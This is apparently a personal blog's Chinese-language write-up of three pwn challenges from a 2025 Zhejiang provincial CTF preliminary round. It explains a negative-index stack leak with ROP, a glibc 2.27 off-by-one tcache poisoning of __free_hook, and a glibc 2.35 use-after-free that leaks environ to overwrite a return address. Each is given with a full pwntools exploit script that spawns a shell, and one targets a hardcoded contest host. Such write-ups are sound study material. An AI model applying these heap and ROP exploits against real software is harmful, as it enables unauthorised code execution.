--> --> --> 2025浙江省网络与信息安全预赛pwn复盘
Featured image of post 2025浙江省网络与信息安全预赛pwn复盘

2025浙江省网络与信息安全预赛pwn复盘

考点写明,但是一定程度上很灵活(是雪啊)

2025省赛

pwn

rop

image

保护,没有开启PIE

程序剥离了符号

image

在输入数字的地方会把字符转化为longlong

并且没有检测负数,可以用于泄漏地址

image

似乎存在一个函数可以往eax里写入极大数字

output会在输出内容后将该位置内容重新设置为0

image

打入-3即可泄漏canary,会清0导致EOF

image

但是可以绕过canary吧,这样就能构建ROP链了,有没有办法写到*(a1+72)呢

image

注意到v2<=9都可以输入,那么不是刚好可以写入到a1+72吗?那将a1+72篡改到-1后输入rop链条是否可以

因此我们先leak出残留在栈上中的一个libc后,将rop链条写到数组里,最后将-1覆盖为ret执行ROP即可(不用leak canary)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
                    0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc-2.31.so"
arch = 'amd64'
remote_addr = "45.40.247.139"
remote_port = "30141"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return log.info(f"\x1b[{code}m{x}\x1b[0m")


def CLEAR_TEXT(x, code=32):
    return log.success(f"\x1b[{code}m{x}\x1b[0m")


io = None
if args.mode == 0:
    io = process(filename)
    print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
    io = process(filename)
    gdb.attach(io, gdbscript='''
    b *0x40144B
    b *0x401466
               ''')
elif args.mode == 2:
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex  # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
    return u64(data.ljust(8, b"\x00"))


def get_64():
    return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))

def cmd(num):
    sla(b">>", str(num).encode())

def input(num):
    sla(b">>", b"1")
    sla(b"number:", str(num).encode())

def output(idx):
    sla(b">>", b"2")
    sla(b"index:",str(idx).encode())

def exit():
    sla(b">>", b"3")

for i in range(9):
    input(1)

# -1的时候刚好可以改到retaddr
input(0)


output(-13)
ru(b"your number:\n")
puts_leak=int(rl(drop=True),10)
libc_addr=u64(p64(puts_leak))-0x8459a
VIO_TEXT(f"libc_addr: {hex(libc_addr)}")

one_gadgets=[0xe3afe,0x3eb01,0xe3b04]
one_gadget=libc_addr+one_gadgets[2]
VIO_TEXT(f"one_gadget: {hex(one_gadget)}")

# pop_rdi_ret=libc.address+next(libc.search(asm('pop rdi; ret')))
pop_rdi_ret=0x401563
binsh_addr = libc_addr+ next(libc.search(b"/bin/sh\x00"))
system_addr=libc_addr+libc.sym['system']

ret_addr=0x40101a

# input(one_gadget)

input(pop_rdi_ret)
input(binsh_addr)
input(system_addr)
for i in range(9-3):
    input(1)
input(-2)
input(ret_addr)

ia()

one

程序员在为新能源汽车编写程序时犯了一个致命的错误,你能帮他找出来吗?

image

保护全开

设置好login登录后是一个指令程序

image

增删改测试和退出

image

删除会检查链表是否为空以及v1是否大于8,防止double free和越界,并且对指针进行了置空,无法UAF,并且转化为了unsigned long long,无法负数访问

image

同样其他几个函数也没有对应的检测到负数

来看cre4t函数

image

edit函数也差不多

image

image

v1的范围在0到8之间,我们最多能分配9个堆块

create的read

image

image

test的read可以多读取一个字节,可以打off by one

先控制unsorted bin,通过fd泄漏出libc地址

题目没有给出libc,但是strings可以找到

ubuntu 18.04–>glibc2.27

自行进行patchGNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.

首先要构造堆风水实现overlapping(通过off by one),然后将__free_hook写入

问题在于要打掉什么地址写入_free_hook,我们没有uaf,chunk数量也有限难以走非tcache打法以及控制unsorted bin

那我们就打tcache bin的off by one,布置4个chunk

先释放出两个chunk进入tcache bin来链入两个chunk,

image

此时我们从伪造的overlapping chunk的部分开始写可以写入到下方0x40的tcache bin的内容,我们便可以在此时写入一个__free_hook,最后再申请两次,就可以拿freehook写了

image

exp:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
import argparse
import sys

from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
    "mode",
    type=int,
    choices=[0, 1, 2],
    nargs="?",
    default=0,
    help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = ""
remote_port = ""


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return log.info(f"\x1b[{code}m{x}\x1b[0m")


def CLEAR_TEXT(x, code=32):
    return log.success(f"\x1b[{code}m{x}\x1b[0m")


io = None
if args.mode == 0:
    io = process(filename)
    print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
    io = process(filename)
    gdb.attach(
        io,
        gdbscript="""
               """,
    )
elif args.mode == 2:
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex  # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains

def cmd(idx):
    sl(str(idx).encode())


def create(idx, size, content):
    cmd(1)
    sla(b"command?", str(idx).encode())
    sla(b"command?", str(size).encode())
    sla(b"command?", content)
    sleep(0.1)


def edit(idx, content):
    cmd(4)
    sla(b"one?", str(idx).encode())
    sla(b"change?", content)


def test(idx):
    cmd(3)
    sla(b"one", str(idx).encode())
    return ru(b"Finish!", drop=False)


def delete(idx):
    cmd(2)
    sla(b"one?", str(idx).encode())


# auto login
ru(b"rebot.\n")
data = (rl(drop=True).split(b" ")[-1].replace(b"?", b"").replace(b"=", b"")).decode()
print(data)
sl(str(eval(data)).encode())

# test create
size1 = 0x38
pay1 = b"aaaa"
# leak libc with unsoreted bin
create(8, 0x410, pay1)
create(7, size1, pay1)  # avoid consolidation
delete(8)
create(8, 0x410, b"1")  # leak the fd pointer

data = u64(p64(u32(test(8)[4:8]) << 16).ljust(8, b"\x00")) # creating will show information of remained pointer
VIO_TEXT(f"leak libc addr: {hex(data)}")
libc.address = data - 0x3E0000
VIO_TEXT(f"system addr: {hex(libc.symbols['system'])}")
# print(hexdump(data))

# try to layout heap and make overlap
for i in range(4):
    create(i, size1, pay1)

# pause()
delete(3)
delete(2)  # 2->3 tcache

edit(0, b"/bin/sh\x00".ljust(0x38, b"\x00") + p8(0x81))  # off by one to 2
delete(1)  # 1 and 2 are all in one bin now

create(
    1,
    0x78,
    flat(
        {
          0x30:[
                0,
                0x41,
                libc.symbols["__free_hook"],
               ]
        },
        filler=b"\x00",
    ),
)

# 2->3 has been changed to 2->__free_hook

create(5,size1,pay1) # let 2 out
create(6,size1,p64(libc.symbols["system"])) # overwrite __free_hook with system 
delete(0) # trigger system("/bin/sh")
ia()

bad_heap

禁止在libc中的堆

保护全开

有增删查三项的菜单堆

增,题目含义体现在这里,如果堆空间分配到了libc地址上程序直接退出

版本是glibc2.35

image

删,存在uaf

image

查,正常的打印内容,但是因为uaf可以打印free的区域内容

image

那就不能劫持IO_list_all了,有uaf可以先尝试overlapping写,可以分配到21个chunk,足够了

先通过uaf leak libc和heap key来使得可以写入合理地址到堆

然后构造overlapping,想办法劫持fd到environ从而Leak stack地址后再通过布置堆空间劫持返回地址到rop链

看到也有走house of botcake打libc泄漏的,不过感觉好像不用也没问题

exp:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
import argparse
import sys

from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
    "mode",
    type=int,
    choices=[0, 1, 2],
    nargs="?",
    default=0,
    help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = ""
remote_port = ""


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return log.info(f"\x1b[{code}m{x}\x1b[0m")


def CLEAR_TEXT(x, code=32):
    return log.success(f"\x1b[{code}m{x}\x1b[0m")


io = None
if args.mode == 0:
    io = process(filename)
    print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
    io = process(filename)
    gdb.attach(
        io,
        gdbscript="""
               """,
    )
elif args.mode == 2:
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex  # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def cmd(idx):
    sla(b"choice:\n", str(idx).encode())


def add(idx, size, content):
    cmd(1)
    sla(b"idx:\n", str(idx).encode())
    sla(b"size:\n", str(size).encode())
    sa(b"content:\n", content)


def delete(idx):
    cmd(2)
    sla(b"idx:\n", str(idx).encode())


def show(idx):
    cmd(3)
    sla(b"idx:\n", str(idx).encode())


for i in range(10):
    add(i, 0x100, b"a")  

for i in range(7):
    delete(i)  # fill tcache 0-6 

show(0)
key = u64(rc(8))  # leak heapbase key 
VIO_TEXT(f"key: {hex(key)}")

delete(8)
delete(7)  # 合并到unsorted bin
show(7)  # unsorted bin leak libc
libc.address = u64(rc(8)) - 0x21ACE0
VIO_TEXT(f"libc.address: {hex(libc.address)}")

for i in range(6):
    add(i, 0x100, b"aaaa")  # fill tcache 6

add(7, 0x120, b"aaaa")  # 7 but overlapping 8
add(10, 0xE0, b"aaaa")  # 8 & 10

delete(0)
delete(8)
delete(7)

add(
    7, 0x120, b"\x00" * 0x108 + p64(0x111) + p64((libc.sym['environ'] - 0x10) ^ key)
)  # write in environ to fd,由于overlapping,实际写入到8中 tcache取head,-0x10

add(8, 0x100, b"aaaa")

add(11, 0x100, b"a" * 0x10)
show(11)
ru(b"a" * 0x10)
stack = u64(rc(8)) - 0x148
VIO_TEXT(f"stack: {hex(stack)}")  # leak stack and get the ret_addr

system_addr = libc.sym['system']
ret_addr = libc.address + 0x29139
binsh_addr = next(libc.search(b"/bin/sh\x00"))
pop_rdi = libc.address + 0x2A3E5
payload = flat(pop_rdi, binsh_addr, ret_addr, system_addr)

delete(1) #avoid consolidation
delete(8)
delete(7)
pause()
add(7, 0x120, b"\x00" * 0x108 + p64(0x111)+p64((stack) ^ key))  # write in ret_addr to fd

add(1,0x100,b"aaaa")
pause()
add(8,0x100,b'a'*8+payload) # overwrite ret_addr with ROP chain

ia()
本博客已稳定运行
发表了56篇文章 · 总计21万3千字

浙ICP备2024137952号 『网站统计』

𝓌𝒶𝒾𝓉 𝒻ℴ𝓇 𝒶 𝒹ℯ𝓁𝒾𝓋ℯ𝓇𝒶𝓃𝒸ℯ
使用 Hugo 构建
主题 StackJimmy 设计
⬆️该页面访问量Loading...